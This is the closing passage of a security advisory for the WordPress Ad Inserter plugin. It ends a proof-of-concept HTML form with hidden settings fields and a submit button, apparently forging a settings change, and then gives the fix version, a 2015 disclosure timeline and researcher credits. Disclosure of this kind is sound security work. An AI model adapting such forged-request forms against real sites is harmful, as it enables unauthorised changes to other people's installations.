<input type="hidden" name="adF_process_php" value="0" />
<input type="hidden" name="adF_data" value="" />
<input type="hidden" name="adF_enable" value="0" />
<input type="hidden" name="syntax-highlighter-theme"
value="ad_inserter" />
<input type="hidden" name="block-class-name"
value="code-block" />
<input type="hidden" name="ai-active-tab" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Mitigation
==========
Update to Latest version 1.5.3
Change Log
==========
https://wordpress.org/plugins/ad-inserter/changelog/
Disclosure
==========
18-April-2015 Reported to Developer
2-may-2015 Fixed By Developer
credits
=======
* Kaustubh Padwad
* Information Security Researcher
* kingkaustubh (at) me (dot) com
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad